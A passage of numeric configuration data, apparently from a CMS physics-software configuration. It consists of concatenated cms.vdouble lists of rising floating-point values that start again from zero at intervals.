57.965939, 58.501669, 59.037398, 59.573128, 60.108857, 60.644587, 61.180316, 61.823192, 62.358922, 62.894651, 63.430381, 63.96611, 64.50184, 65.144715, 65.680445, 66.216174, 66.85905, 67.394779, 67.930509, 68.573384, 69.109114, 69.644844, 70.287719, 70.823449, 71.466324, 72.002054, 72.537783, 73.180659, 73.716388, 74.359264, 75.002139, 75.537869, 76.180744, 76.716474, 77.359349, 78.002225, 78.537954, 79.18083, 79.823705, 80.359435, 81.00231, 81.645186, 82.288061, 82.823791, 83.466666, 84.109542, 84.752417, 85.395293, 86.038168, 86.681044, 87.216773, 87.859649, 88.502524, 89.1454, 89.788275, 90.431151, 91.074026, 91.716902, 92.359777, 93.002653, 93.752674, 94.39555, 95.038425, 95.681301, 96.324176, 96.967051, 97.609927, 98.359948, 99.002824, 99.645699, 100.28857, 101.0386)+cms.vdouble(101.68147, 102.32435, 103.07437, 103.71724, 104.36012, 105.11014, 105.75302, 106.50304, 107.14591, 107.78879, 108.53881, 109.18169, 109.61027, 0, 0, 0, 0, 0.39937975, 0.49922469, 0.69891457, 0.79875951, 0.89860445, 0.99844938, 1.1981393, 1.2979842, 1.4976741, 1.597519, 1.697364, 1.8970538, 1.9968988, 2.1965886, 2.2964336, 2.4961235, 2.6958133, 2.7956583, 2.9953482, 3.195038, 3.294883, 3.4945728, 3.6942627, 3.8939526, 4.0936425, 4.1934874, 4.3931773, 4.5928672, 4.792557, 4.9922469, 5.1919368, 5.3916267, 5.5913166, 5.7910064, 5.9906963, 6.2902311, 6.489921, 6.6896109, 6.8893008, 7.0889906, 7.2886805, 7.5882153, 7.7879052, 7.9875951, 8.2871299, 8.4868198, 8.6865096, 8.9860445, 9.1857343, 9.4852691, 9.684959, 9.9844938, 10.184184, 10.483719, 10.683408, 10.982943, 11.282478, 11.482168, 11.781703, 12.081238, 12.280927, 12.580462, 12.879997, 13.179532, 13.479067, 13.678757, 13.978291, 14.277826, 14.577361, 14.876896, 15.176431, 15.475965, 15.7755, 16.075035, 16.37457, 16.674105, 16.97364, 17.273174, 17.672554, 17.972089, 18.271624, 18.571159, 18.870693, 19.270073, 19.569608, 19.869143, 20.268522, 20.568057, 20.867592, 21.266972, 21.566507, 21.965886, 22.265421, 22.664801, 22.964336, 23.363716, 23.66325, 24.06263, 24.362165, 24.761545, 25.160924, 25.460459, 25.859839, 26.259219, 26.558754, 26.958133, 27.357513, 27.756893, 28.156273, 28.455807, 28.855187, 29.254567, 29.653947, 30.053326, 30.452706, 30.852086, 31.251466, 31.650845, 32.050225, 32.449605, 32.848985, 33.248364, 33.647744, 34.047124, 34.446504, 34.845884, 35.245263, 35.744488, 36.143868, 36.543247, 36.942627, 37.441852, 37.841232, 38.240611, 38.639991, 39.139216, 39.538596, 40.03782, 40.4372, 40.83658, 41.335805, 41.735184, 42.234409, 42.633789, 43.133013, 43.532393, 44.031618, 44.430998, 44.930222, 45.429447, 45.828827, 46.328051, 46.827276, 47.226656, 47.725881, 48.225105, 48.72433, 49.12371, 49.622934, 50.122159, 50.621384, 51.120608, 51.519988, 52.019213, 52.518438, 53.017662, 53.516887, 54.016112, 54.515336, 55.014561, 55.513786, 56.01301, 56.512235, 57.01146, 57.610529, 58.109754, 58.608979, 59.108204, 59.607428, 60.106653, 60.705723, 61.204947, 61.704172, 62.303242, 62.802466, 63.301691, 63.900761, 64.399985, 64.89921, 65.49828, 65.997504, 66.596574, 67.095799, 67.595023, 68.194093, 68.693318, 69.292387, 69.891457, 70.390682, 70.989751, 71.488976, 72.088046, 72.687115, 73.18634, 73.785409, 74.384479, 74.883704, 75.482773, 76.081843, 76.680913, 77.180137, 77.779207, 78.378277, 78.977346, 79.576416, 80.175486, 80.774555, 81.27378, 81.87285, 82.471919, 83.070989, 83.670058, 84.269128, 84.868198, 85.467267, 86.066337, 86.665407, 87.364321, 87.963391, 88.56246, 89.16153, 89.7606, 90.359669, 90.958739, 91.657653, 92.256723, 92.855793, 93.454862)+cms.vdouble(94.153777, 94.752847, 95.351916, 96.050831, 96.6499, 97.24897, 97.947885, 98.546954, 99.245869, 99.844938, 100.44401, 101.14292, 101.74199, 102.14137, 0, 0, 0, 0, 0.37126937, 0.46408671, 0.64972139, 0.74253873, 0.83535608, 0.92817342, 1.1138081, 1.2066254, 1.3922601, 1.4850775, 1.5778948, 1.7635295, 1.8563468, 2.0419815, 2.1347989, 2.3204335, 2.5060682, 2.5988856, 2.7845203, 2.9701549, 3.0629723, 3.248607, 3.4342416, 3.6198763, 3.805511, 3.8983284, 4.083963, 4.2695977, 4.4552324, 4.6408671, 4.8265018, 5.0121365, 5.1977711, 5.3834058, 5.5690405, 5.8474925, 6.0331272, 6.2187619, 6.4043966, 6.5900313, 6.7756659, 7.054118, 7.2397527, 7.4253873, 7.7038394, 7.889474, 8.0751087, 8.3535608, 8.5391954, 8.8176475, 9.0032821, 9.2817342, 9.4673689, 9.7458209, 9.9314556, 10.209908, 10.48836, 10.673994, 10.952446, 11.230898, 11.416533, 11.694985, 11.973437, 12.251889, 12.530341, 12.715976, 12.994428, 13.27288, 13.551332, 13.829784, 14.108236, 14.386688, 14.66514, 14.943592, 15.222044, 15.500496, 15.778948, 16.0574, 16.428669, 16.707122, 16.985574, 17.264026, 17.542478, 17.913747, 18.192199, 18.470651, 18.84192, 19.120372, 19.398824, 19.770094, 20.048546, 20.419815, 20.698267, 21.069537, 21.347989, 21.719258, 21.99771, 22.368979, 22.647431, 23.018701, 23.38997, 23.668422, 24.039692, 24.410961, 24.689413, 25.060682, 25.431952, 25.803221, 26.17449, 26.452942, 26.824212, 27.195481, 27.566751, 27.93802, 28.309289, 28.680559, 29.051828, 29.423097, 29.794367, 30.165636, 30.536905, 30.908175, 31.279444, 31.650714, 32.021983, 32.393252, 32.764522, 33.228608, 33.599878, 33.971147, 34.342416, 34.806503, 35.177773, 35.549042, 35.920311, 36.384398, 36.755667, 37.219754, 37.591023, 37.962293, 38.426379, 38.797649, 39.261736, 39.633005, 40.097092, 40.468361, 40.932448, 41.303717, 41.767804, 42.23189, 42.60316, 43.067247, 43.531333, 43.902603, 44.366689, 44.830776, 45.294863, 45.666132, 46.130219, 46.594306, 47.058392, 47.522479, 47.893748, 48.357835, 48.821922, 49.286008, 49.750095, 50.214182, 50.678269, 51.142355, 51.606442, 52.070529, 52.534615, 52.998702, 53.555606, 54.019693, 54.48378, 54.947866, 55.411953, 55.87604, 56.432944, 56.89703, 57.361117, 57.918021, 58.382108, 58.846195, 59.403099, 59.867185, 60.331272, 60.888176, 61.352263, 61.909167, 62.373254, 62.83734, 63.394244, 63.858331, 64.415235, 64.972139, 65.436226, 65.99313, 66.457217, 67.014121, 67.571025, 68.035112, 68.592016, 69.14892, 69.613006, 70.16991, 70.726814, 71.283718, 71.747805, 72.304709, 72.861613, 73.418517, 73.975421, 74.532325, 75.089229, 75.553316, 76.11022, 76.667124, 77.224028, 77.780932, 78.337836, 78.89474, 79.451645, 80.008549, 80.565453, 81.215174, 81.772078, 82.328982, 82.885886, 83.44279, 83.999694, 84.556598, 85.20632, 85.763224, 86.320128)+cms.vdouble(86.877032, 87.526753, 88.083657, 88.640561, 89.290283, 89.847187, 90.404091, 91.053812, 91.610716, 92.260438, 92.817342, 93.374246, 94.023967, 94.580871, 94.952141, 0, 0, 0, 0, 0.34441886, 0.43052357, 0.602733, 0.68883772, 0.77494243, 0.86104714, 1.0332566, 1.1193613, 1.2915707, 1.3776754, 1.4637801, 1.6359896, 1.7220943, 1.8943037, 1.9804084, 2.1526179, 2.3248273, 2.410932, 2.5831414, 2.7553509, 2.8414556, 3.013665, 3.1858744, 3.3580839, 3.5302933, 3.616398, 3.7886074, 3.9608169, 4.1330263, 4.3052357, 4.4774452, 4.6496546, 4.821864, 4.9940734, 5.1662829, 5.424597, 5.5968064, 5.7690159, 5.9412253, 6.1134347, 6.2856442, 6.5439583, 6.7161677, 6.8883772, 7.1466913, 7.3189007, 7.4911102, 7.7494243, 7.9216337, 8.1799479, 8.3521573, 8.6104714, 8.7826809, 9.040995, 9.2132044, 9.4715186, 9.7298327, 9.9020422, 10.160356, 10.41867, 10.59088, 10.849194, 11.107508, 11.365822, 11.624136, 11.796346, 12.05466, 12.312974, 12.571288, 12.829602, 13.087917, 13.346231, 13.604545, 13.862859, 14.121173, 14.379487, 14.637801, 14.896116, 15.240534, 15.498849, 15.757163, 16.015477, 16.273791, 16.61821, 16.876524, 17.134838, 17.479257, 17.737571, 17.995885, 18.340304, 18.598618, 18.943037, 19.201351, 19.54577, 19.804084, 20.148503, 20.406817, 20.751236, 21.00955, 21.353969, 21.698388, 21.956702, 22.301121, 22.64554, 22.903854, 23.248273, 23.592692, 23.937111, 24.281529, 24.539844, 24.884262, 25.228681, 25.5731, 25.917519, 26.261938, 26.606357, 26.950776, 27.295194, 27.639613, 27.984032, 28.328451, 28.67287, 29.017289, 29.361708, 29.706126, 30.050545, 30.394964, 30.825488, 31.169907, 31.514325, 31.858744, 32.289268, 32.633687, 32.978106, 33.322524, 33.753048, 34.097467, 34.52799, 34.872409, 35.216828, 35.647352, 35.991771, 36.422294, 36.766713, 37.197237, 37.541656, 37.972179, 38.316598, 38.747122, 39.177645, 39.522064, 39.952588, 40.383111, 40.72753, 41.158054, 41.588577, 42.019101, 42.36352, 42.794043, 43.224567, 43.65509, 44.085614, 44.430033, 44.860556, 45.29108, 45.721603, 46.152127, 46.582651, 47.013174, 47.443698, 47.874221, 48.304745, 48.735268, 49.165792, 49.68242, 50.112944, 50.543467, 50.973991, 51.404515, 51.835038, 52.351666, 52.78219, 53.212714, 53.729342, 54.159865, 54.590389, 55.107017, 55.537541, 55.968064, 56.484693, 56.915216, 57.431845, 57.862368, 58.292892, 58.80952, 59.240044, 59.756672, 60.2733, 60.703824, 61.220452, 61.650976, 62.167604, 62.684232, 63.114756, 63.631384, 64.148012, 64.578536, 65.095164, 65.611792, 66.128421, 66.558944, 67.075573, 67.592201, 68.108829, 68.625457, 69.142086, 69.658714, 70.089238, 70.605866, 71.122494, 71.639122, 72.155751, 72.672379, 73.189007, 73.705636, 74.222264, 74.738892, 75.341625, 75.858253, 76.374882, 76.89151, 77.408138, 77.924767, 78.441395, 79.044128, 79.560756)+cms.vdouble(80.077384, 80.594013, 81.196746, 81.713374, 82.230002, 82.832735, 83.349364, 83.865992, 84.468725, 84.985353, 85.588086, 86.104714, 86.621343, 87.224076, 87.740704, 88.085123, 0, 0, 0, 0, 0.31893747, 0.39867184, 0.55814058, 0.63787495, 0.71760932, 0.79734368, 0.95681242, 1.0365468, 1.1960155, 1.2757499, 1.3554843, 1.514953, 1.5946874, 1.7541561, 1.8338905, 1.9933592, 2.1528279, 2.2325623, 2.3920311, 2.5514998, 2.6312342, 2.7907029, 2.9501716, 3.1096404, 3.2691091, 3.3488435, 3.5083122, 3.6677809, 3.8272497, 3.9867184, 4.1461872, 4.3056559, 4.4651246, 4.6245934, 4.7840621, 5.0232652, 5.182734, 5.3422027, 5.5016714, 5.6611402, 5.8206089, 6.059812, 6.2192807, 6.3787495, 6.6179526, 6.7774213, 6.9368901, 7.1760932, 7.3355619, 7.574765, 7.7342337, 7.9734368, 8.1329056, 8.3721087, 8.5315774, 8.7707805, 9.0099836, 9.1694524, 9.4086555, 9.6478586, 9.8073273, 10.04653, 10.285734, 10.524937, 10.76414, 10.923608, 11.162812, 11.402015, 11.641218, 11.880421, 12.119624, 12.358827, 12.59803, 12.837233, 13.076436, 13.31564, 13.554843, 13.794046, 14.112983, 14.352186, 14.591389, 14.830593, 15.069796, 15.388733, 15.627936, 15.867139, 16.186077, 16.42528, 16.664483, 16.98342, 17.222624, 17.541561, 17.780764, 18.099702, 18.338905, 18.657842, 18.897045, 19.215983, 19.455186, 19.774123, 20.093061, 20.332264, 20.651201, 20.970139, 21.209342, 21.528279, 21.847217, 22.166154, 22.485092, 22.724295, 23.043232, 23.36217, 23.681107, 24.000045, 24.318982, 24.63792, 24.956857, 25.275795, 25.594732, 25.91367, 26.232607, 26.551545, 26.870482, 27.18942, 27.508357, 27.827295, 28.146232, 28.544904, 28.863841, 29.182779, 29.501716, 29.900388, 30.219326, 30.538263, 30.857201, 31.255872, 31.57481, 31.973482, 32.292419, 32.611357, 33.010029, 33.328966, 33.727638, 34.046575, 34.445247, 34.764185, 35.162856, 35.481794, 35.880466, 36.279138, 36.598075, 36.996747, 37.395419, 37.714356, 38.113028, 38.5117, 38.910372, 39.229309, 39.627981, 40.026653, 40.425325, 40.823997, 41.142934, 41.541606, 41.940278, 42.33895, 42.737621, 43.136293, 43.534965, 43.933637, 44.332309, 44.730981, 45.129653, 45.528324, 46.006731, 46.405402, 46.804074, 47.202746, 47.601418, 48.00009, 48.478496, 48.877168, 49.27584, 49.754246, 50.152918, 50.55159, 51.029996, 51.428668, 51.82734, 52.305746, 52.704418, 53.182824, 53.581496, 53.980167, 54.458574, 54.857246, 55.335652, 55.814058, 56.21273, 56.691136, 57.089808, 57.568214, 58.04662, 58.445292, 58.923698, 59.402105, 59.800776, 60.279183, 60.757589, 61.235995, 61.634667, 62.113073, 62.591479, 63.069885, 63.548292, 64.026698, 64.505104, 64.903776, 65.382182, 65.860588, 66.338995, 66.817401, 67.295807, 67.774213, 68.252619, 68.731026, 69.209432, 69.767572, 70.245979, 70.724385, 71.202791, 71.681197, 72.159603, 72.63801, 73.19615)+cms.vdouble(73.674556, 74.152963, 74.631369, 75.189509, 75.667916, 76.146322, 76.704462, 77.182869, 77.661275, 78.219415, 78.697822, 79.255962, 79.734368, 80.212775, 80.770915, 81.249321, 81.568259, 0, 0, 0.29488721, 0.44233082, 0.58977443, 0.73721804, 1.0321053, 1.1795489, 1.3269925, 1.4744361, 1.7693233, 1.9167669, 2.2116541, 2.3590977, 2.5065413, 2.8014285, 2.9488721, 3.2437594, 3.391203, 3.6860902, 3.9809774, 4.128421, 4.4233082, 4.7181954, 4.865639, 5.1605263, 5.4554135, 5.7503007, 6.0451879, 6.1926315, 6.4875187, 6.7824059, 7.0772932, 7.3721804, 7.6670676, 7.9619548, 8.256842, 8.5517292, 8.8466164, 9.2889473, 9.5838345, 9.8787217, 10.173609, 10.468496, 10.763383, 11.205714, 11.500601, 11.795489, 12.237819, 12.532707, 12.827594, 13.269925, 13.564812, 14.007143, 14.30203, 14.744361, 15.039248, 15.481579, 15.776466, 16.218797, 16.661128, 16.956015, 17.398346, 17.840677, 18.135564, 18.577895, 19.020225, 19.462556, 19.904887, 20.199774, 20.642105, 21.084436, 21.526767, 21.969098, 22.411428, 22.853759, 23.29609, 23.738421, 24.180752, 24.623082, 25.065413, 25.507744, 26.097519, 26.539849, 26.98218, 27.424511, 27.866842, 28.456616, 28.898947, 29.341278, 29.931052, 30.373383, 30.815714, 31.405488, 31.847819, 32.437594, 32.879924, 33.469699, 33.91203, 34.501804, 34.944135, 35.533909, 35.97624, 36.566015, 37.155789, 37.59812, 38.187894, 38.777669, 39.22, 39.809774, 40.399548, 40.989323, 41.579097, 42.021428, 42.611203, 43.200977, 43.790751, 44.380526, 44.9703, 45.560075, 46.149849, 46.739624, 47.329398, 47.919172, 48.508947, 49.098721, 49.688496, 50.27827, 50.868045, 51.457819, 52.047593, 52.784811, 53.374586, 53.96436, 54.554135, 55.291353, 55.881127, 56.470902, 57.060676, 57.797894, 58.387669, 59.124887, 59.714661, 60.304435, 61.041653, 61.631428, 62.368646, 62.95842, 63.695638, 64.285413, 65.022631, 65.612405, 66.349623, 67.086841, 67.676616, 68.413834, 69.151052, 69.740826, 70.478044, 71.215262, 71.95248, 72.542255, 73.279473, 74.016691, 74.753909, 75.491127, 76.080901, 76.818119, 77.555338, 78.292556, 79.029774, 79.766992, 80.50421, 81.241428, 81.978646, 82.715864, 83.453082, 84.1903, 85.074962, 85.81218, 86.549398, 87.286616, 88.023834, 88.761052, 89.645713, 90.382931, 91.120149, 92.004811, 92.742029, 93.479247, 94.363909, 95.101127, 95.838345, 96.723007, 97.460225, 98.344886, 99.082104, 99.819322, 100.70398, 101.4412, 102.32586, 103.21053, 103.94774, 104.8324, 105.56962, 106.45428, 107.33895, 108.07616, 108.96083, 109.84549, 110.58271, 111.46737, 112.35203, 113.23669, 113.97391, 114.85857, 115.74323, 116.62789, 117.51256, 118.39722, 119.28188, 120.0191, 120.90376, 121.78842, 122.67308, 123.55774, 124.4424, 125.32707, 126.21173, 127.09639, 127.98105, 129.01316, 129.89782, 130.78248, 131.66714, 132.5518, 133.43646, 134.32113)+cms.vdouble(135.35323, 136.23789, 137.12255, 138.00722, 139.03932, 139.92398, 140.80865, 141.84075, 142.72541, 143.61007, 144.64218, 145.52684, 146.55895, 147.44361, 148.32827, 149.36037, 150.24504, 150.83481, 0, 0, 0.27229209, 0.40843813, 0.54458417, 0.68073022, 0.9530223, 1.0891683, 1.2253144, 1.3614604, 1.6337525, 1.7698986, 2.0421906, 2.1783367, 2.3144827, 2.5867748, 2.7229209, 2.9952129, 3.131359, 3.4036511, 3.6759432, 3.8120892, 4.0843813, 4.3566734, 4.4928194, 4.7651115, 5.0374036, 5.3096957, 5.5819878, 5.7181338, 5.9904259, 6.262718, 6.5350101, 6.8073022, 7.0795942, 7.3518863, 7.6241784, 7.8964705, 8.1687626, 8.5772007, 8.8494928, 9.1217849, 9.394077, 9.6663691, 9.9386611, 10.347099, 10.619391, 10.891683, 11.300122, 11.572414, 11.844706, 12.253144, 12.525436, 12.933874, 13.206166, 13.614604, 13.886896, 14.295335, 14.567627, 14.976065, 15.384503, 15.656795, 16.065233, 16.473671, 16.745963, 17.154401, 17.56284, 17.971278, 18.379716, 18.652008, 19.060446, 19.468884, 19.877322, 20.28576, 20.694199, 21.102637, 21.511075, 21.919513, 22.327951, 22.736389, 23.144827, 23.553265, 24.09785, 24.506288, 24.914726, 25.323164, 25.731602, 26.276186, 26.684624, 27.093063, 27.637647, 28.046085, 28.454523, 28.999107, 29.407545, 29.952129, 30.360568, 30.905152, 31.31359, 31.858174, 32.266612, 32.811196, 33.219635, 33.764219, 34.308803, 34.717241, 35.261825, 35.806409, 36.214847, 36.759432, 37.304016, 37.8486, 38.393184, 38.801622, 39.346206, 39.890791, 40.435375, 40.979959, 41.524543, 42.069127, 42.613712, 43.158296, 43.70288, 44.247464, 44.792048, 45.336632, 45.881217, 46.425801, 46.970385, 47.514969, 48.059553, 48.740283, 49.284868, 49.829452, 50.374036, 51.054766, 51.59935, 52.143935, 52.688519, 53.369249, 53.913833, 54.594563, 55.139147, 55.683732, 56.364462, 56.909046, 57.589776, 58.13436, 58.815091, 59.359675, 60.040405, 60.584989, 61.265719, 61.94645, 62.491034, 63.171764, 63.852494, 64.397078, 65.077809, 65.758539, 66.439269, 66.983853, 67.664583, 68.345314, 69.026044, 69.706774, 70.251358, 70.932088, 71.612819, 72.293549, 72.974279, 73.655009, 74.33574, 75.01647, 75.6972, 76.37793, 77.05866, 77.739391, 78.556267, 79.236997, 79.917727, 80.598458, 81.279188, 81.959918, 82.776794, 83.457524, 84.138255, 84.955131, 85.635861, 86.316591, 87.133468, 87.814198, 88.494928, 89.311804, 89.992535, 90.809411, 91.490141, 92.170871, 92.987747, 93.668478, 94.485354, 95.30223, 95.98296, 96.799837, 97.480567, 98.297443, 99.114319, 99.79505, 100.61193, 101.4288, 102.10953, 102.92641, 103.74328, 104.56016, 105.24089, 106.05777, 106.87464, 107.69152, 108.5084, 109.32527, 110.14215, 110.82288, 111.63976, 112.45663, 113.27351, 114.09038, 114.90726, 115.72414, 116.54101, 117.35789, 118.17477, 119.12779, 119.94466, 120.76154, 121.57842, 122.39529, 123.21217)+cms.vdouble(124.02905, 124.98207, 125.79894, 126.61582, 127.4327, 128.38572, 129.20259, 130.01947, 130.97249, 131.78937, 132.60625, 133.55927, 134.37614, 135.32917, 136.14604, 136.96292, 137.91594, 138.73282, 139.2774, 0, 0, 0.25114638, 0.37671957, 0.50229277, 0.62786596, 0.87901234, 1.0045855, 1.1301587, 1.2557319, 1.5068783, 1.6324515, 1.8835979, 2.0091711, 2.1347443, 2.3858906, 2.5114638, 2.7626102, 2.8881834, 3.1393298, 3.3904762, 3.5160494, 3.7671957, 4.0183421, 4.1439153, 4.3950617, 4.6462081, 4.8973545, 5.1485009, 5.274074, 5.5252204, 5.7763668, 6.0275132, 6.2786596, 6.529806, 6.7809523, 7.0320987, 7.2832451, 7.5343915, 7.9111111, 8.1622574, 8.4134038, 8.6645502, 8.9156966, 9.166843, 9.5435626, 9.7947089, 10.045855, 10.422575, 10.673721, 10.924868, 11.301587, 11.552734, 11.929453, 12.1806, 12.557319, 12.808466, 13.185185, 13.436331, 13.813051, 14.189771, 14.440917, 14.817637, 15.194356, 15.445503, 15.822222, 16.198942, 16.575661, 16.952381, 17.203527, 17.580247, 17.956966, 18.333686, 18.710406, 19.087125, 19.463845, 19.840564, 20.217284, 20.594003, 20.970723, 21.347443, 21.724162, 22.226455, 22.603174, 22.979894, 23.356614, 23.733333, 24.235626, 24.612346, 24.989065, 25.491358, 25.868077, 26.244797, 26.74709, 27.123809, 27.626102, 28.002822, 28.505114, 28.881834, 29.384127, 29.760846, 30.263139, 30.639859, 31.142151, 31.644444, 32.021164, 32.523457, 33.025749, 33.402469, 33.904762, 34.407054, 34.909347, 35.41164, 35.78836, 36.290652, 36.792945, 37.295238, 37.797531, 38.299823, 38.802116, 39.304409, 39.806702, 40.308994, 40.811287, 41.31358, 41.815873, 42.318166, 42.820458, 43.322751, 43.825044, 44.327337, 44.955203, 45.457495, 45.959788, 46.462081, 47.089947, 47.59224, 48.094532, 48.596825, 49.224691, 49.726984, 50.35485, 50.857143, 51.359435, 51.987301, 52.489594, 53.11746, 53.619753, 54.247619, 54.749911, 55.377777, 55.88007, 56.507936, 57.135802, 57.638095, 58.265961, 58.893827, 59.39612, 60.023986, 60.651851, 61.279717, 61.78201, 62.409876, 63.037742, 63.665608, 64.293474, 64.795767, 65.423633, 66.051499, 66.679365, 67.307231, 67.935097, 68.562963, 69.190829, 69.818694, 70.44656, 71.074426, 71.702292, 72.455731, 73.083597, 73.711463, 74.339329, 74.967195, 75.595061, 76.3485, 76.976366, 77.604232, 78.357671, 78.985537, 79.613403, 80.366843, 80.994709, 81.622574, 82.376014, 83.00388, 83.757319, 84.385185, 85.013051, 85.76649, 86.394356, 87.147795, 87.901234, 88.5291, 89.282539, 89.910405, 90.663844, 91.417283, 92.045149, 92.798589, 93.552028, 94.179894, 94.933333, 95.686772, 96.440211, 97.068077, 97.821516, 98.574955, 99.328394, 100.08183, 100.83527, 101.58871, 102.21658, 102.97002, 103.72346, 104.4769, 105.23033, 105.98377, 106.73721, 107.49065, 108.24409, 108.99753, 109.87654, 110.62998, 111.38342, 112.13686, 112.8903)+cms.vdouble(113.64374, 114.39718, 115.27619, 116.02963, 116.78307, 117.53651, 118.41552, 119.16896, 119.9224, 120.80141, 121.55485, 122.30829, 123.1873, 123.94074, 124.81975, 125.57319, 126.32663, 127.20564, 127.95908, 128.46137, 0, 0, 0.23109399, 0.34664098, 0.46218798, 0.57773497, 0.80882896, 0.92437596, 1.039923, 1.1554699, 1.3865639, 1.5021109, 1.7332049, 1.8487519, 1.9642989, 2.1953929, 2.3109399, 2.5420339, 2.6575809, 2.8886749, 3.1197689, 3.2353159, 3.4664098, 3.6975038, 3.8130508, 4.0441448, 4.2752388, 4.5063328, 4.7374268, 4.8529738, 5.0840678, 5.3151618, 5.5462558, 5.7773497, 6.0084437, 6.2395377, 6.4706317, 6.7017257, 6.9328197, 7.2794607, 7.5105547, 7.7416487, 7.9727426, 8.2038366, 8.4349306, 8.7815716, 9.0126656, 9.2437596, 9.5904006, 9.8214946, 10.052589, 10.39923, 10.630324, 10.976965, 11.208059, 11.554699, 11.785793, 12.132434, 12.363528, 12.710169, 13.05681, 13.287904, 13.634545, 13.981186, 14.21228, 14.558921, 14.905562, 15.252203, 15.598844, 15.829938, 16.176579, 16.52322, 16.869861, 17.216502, 17.563143, 17.909784, 18.256425, 18.603066, 18.949707, 19.296348, 19.642989, 19.98963, 20.451818, 20.798459, 21.1451, 21.491741, 21.838382, 22.30057, 22.647211, 22.993852, 23.45604, 23.802681, 24.149322, 24.61151, 24.958151, 25.420339, 25.76698, 26.229168, 26.575809, 27.037997, 27.384638, 27.846826, 28.193467, 28.655655, 29.117843, 29.464484, 29.926672, 30.38886, 30.735501, 31.197689, 31.659877, 32.122065, 32.584253, 32.930894, 33.393082, 33.85527, 34.317457, 34.779645, 35.241833, 35.704021, 36.166209, 36.628397, 37.090585, 37.552773, 38.014961, 38.477149, 38.939337, 39.401525, 39.863713, 40.325901, 40.788089, 41.365824, 41.828012, 42.2902, 42.752388, 43.330123, 43.792311, 44.254499, 44.716687, 45.294422, 45.75661, 46.334345, 46.796533, 47.258721, 47.836456, 48.298644, 48.876379, 49.338567, 49.916302, 50.37849, 50.956225, 51.418413, 51.996148, 52.573883, 53.036071, 53.613806, 54.191541, 54.653729, 55.231464, 55.809199, 56.386934, 56.849121, 57.426856, 58.004591, 58.582326, 59.160061, 59.622249, 60.199984, 60.777719, 61.355454, 61.933189, 62.510924, 63.088659, 63.666394, 64.244129, 64.821864, 65.399599, 65.977334, 66.670616, 67.248351, 67.826086, 68.403821, 68.981556, 69.559291, 70.252573, 70.830308, 71.408043, 72.101325, 72.67906, 73.256795, 73.950077, 74.527812, 75.105547, 75.798829, 76.376564, 77.069846, 77.647581, 78.225316, 78.918598, 79.496332, 80.189614, 80.882896, 81.460631, 82.153913, 82.731648, 83.42493, 84.118212, 84.695947, 85.389229, 86.082511, 86.660246, 87.353528, 88.04681, 88.740092, 89.317827, 90.011109, 90.704391, 91.397673, 92.090955, 92.784237, 93.477519, 94.055254, 94.748536, 95.441818, 96.1351, 96.828382, 97.521664, 98.214946, 98.908228, 99.60151, 100.29479, 101.10362, 101.7969, 102.49018, 103.18347)+cms.vdouble(103.87675, 104.57003, 105.26331, 106.07214, 106.76542, 107.45871, 108.15199, 108.96082, 109.6541, 110.34738, 111.15621, 111.84949, 112.54277, 113.3516, 114.04488, 114.85371, 115.54699, 116.24028, 117.04911, 117.74239, 118.20458, 0, 0, 0.2111512, 0.3167268, 0.4223024, 0.527878, 0.7390292, 0.8446048, 0.9501804, 1.055756, 1.2669072, 1.3724828, 1.583634, 1.6892096, 1.7947852, 2.0059364, 2.111512, 2.3226632, 2.4282388, 2.63939, 2.8505412, 2.9561168, 3.167268, 3.3784192, 3.4839948, 3.695146, 3.9062972, 4.1174484, 4.3285996, 4.4341752, 4.6453264, 4.8564776, 5.0676288, 5.27878, 5.4899312, 5.7010824, 5.9122336, 6.1233848, 6.334536, 6.6512628, 6.862414, 7.0735652, 7.2847164, 7.4958676, 7.7070188, 8.0237456, 8.2348968, 8.446048, 8.7627748, 8.973926, 9.1850772, 9.501804, 9.7129552, 10.029682, 10.240833, 10.55756, 10.768711, 11.085438, 11.296589, 11.613316, 11.930043, 12.141194, 12.457921, 12.774648, 12.985799, 13.302526, 13.619252, 13.935979, 14.252706, 14.463857, 14.780584, 15.097311, 15.414038, 15.730764, 16.047491, 16.364218, 16.680945, 16.997672, 17.314398, 17.631125, 17.947852, 18.264579, 18.686881, 19.003608, 19.320335, 19.637062, 19.953788, 20.376091, 20.692818, 21.009544, 21.431847, 21.748574, 22.0653, 22.487603, 22.80433, 23.226632, 23.543359, 23.965661, 24.282388, 24.70469, 25.021417, 25.44372, 25.760446, 26.182749, 26.605051, 26.921778, 27.34408, 27.766383, 28.08311, 28.505412, 28.927714, 29.350017, 29.772319, 30.089046, 30.511348, 30.933651, 31.355953, 31.778256, 32.200558, 32.62286, 33.045163, 33.467465, 33.889768, 34.31207, 34.734372, 35.156675, 35.578977, 36.00128, 36.423582, 36.845884, 37.268187, 37.796065, 38.218367, 38.64067, 39.062972, 39.59085, 40.013152, 40.435455, 40.857757, 41.385635, 41.807938, 42.335816, 42.758118, 43.18042, 43.708298, 44.130601, 44.658479, 45.080781, 45.608659, 46.030962, 46.55884, 46.981142, 47.50902, 48.036898, 48.4592, 48.987078, 49.514956, 49.937259, 50.465137, 50.993015, 51.520893, 51.943195, 52.471073, 52.998951, 53.526829, 54.054707, 54.47701, 55.004888, 55.532766, 56.060644, 56.588522, 57.1164, 57.644278, 58.172156, 58.700034, 59.227912, 59.75579, 60.283668, 60.917121, 61.444999, 61.972877, 62.500755, 63.028633, 63.556511, 64.189965, 64.717843, 65.245721, 65.879174, 66.407052, 66.93493, 67.568384, 68.096262, 68.62414, 69.257594, 69.785472, 70.418925, 70.946803, 71.474681, 72.108135, 72.636013, 73.269466, 73.90292, 74.430798, 75.064252, 75.59213, 76.225583, 76.859037, 77.386915, 78.020368, 78.653822, 79.1817, 79.815154, 80.448607, 81.082061, 81.609939, 82.243392, 82.876846, 83.5103, 84.143753, 84.777207, 85.41066, 85.938538, 86.571992, 87.205446, 87.838899, 88.472353, 89.105806, 89.73926, 90.372714, 91.006167, 91.639621, 92.37865, 93.012104, 93.645557)+cms.vdouble(94.279011, 94.912464, 95.545918, 96.179372, 96.918401, 97.551854, 98.185308, 98.818762, 99.557791, 100.19124, 100.8247, 101.56373, 102.19718, 102.83063, 103.56966, 104.20312, 104.94215, 105.5756, 106.20905, 106.94808, 107.58154, 108.00384, 0, 0, 0.19065189, 0.28597784, 0.38130379, 0.47662974, 0.66728163, 0.76260758, 0.85793353, 0.95325947, 1.1439114, 1.2392373, 1.4298892, 1.5252152, 1.6205411, 1.811193, 1.9065189, 2.0971708, 2.1924968, 2.3831487, 2.5738006, 2.6691265, 2.8597784, 3.0504303, 3.1457563, 3.3364082, 3.5270601, 3.7177119, 3.9083638, 4.0036898, 4.1943417, 4.3849936, 4.5756455, 4.7662974, 4.9569493, 5.1476012, 5.3382531, 5.5289049, 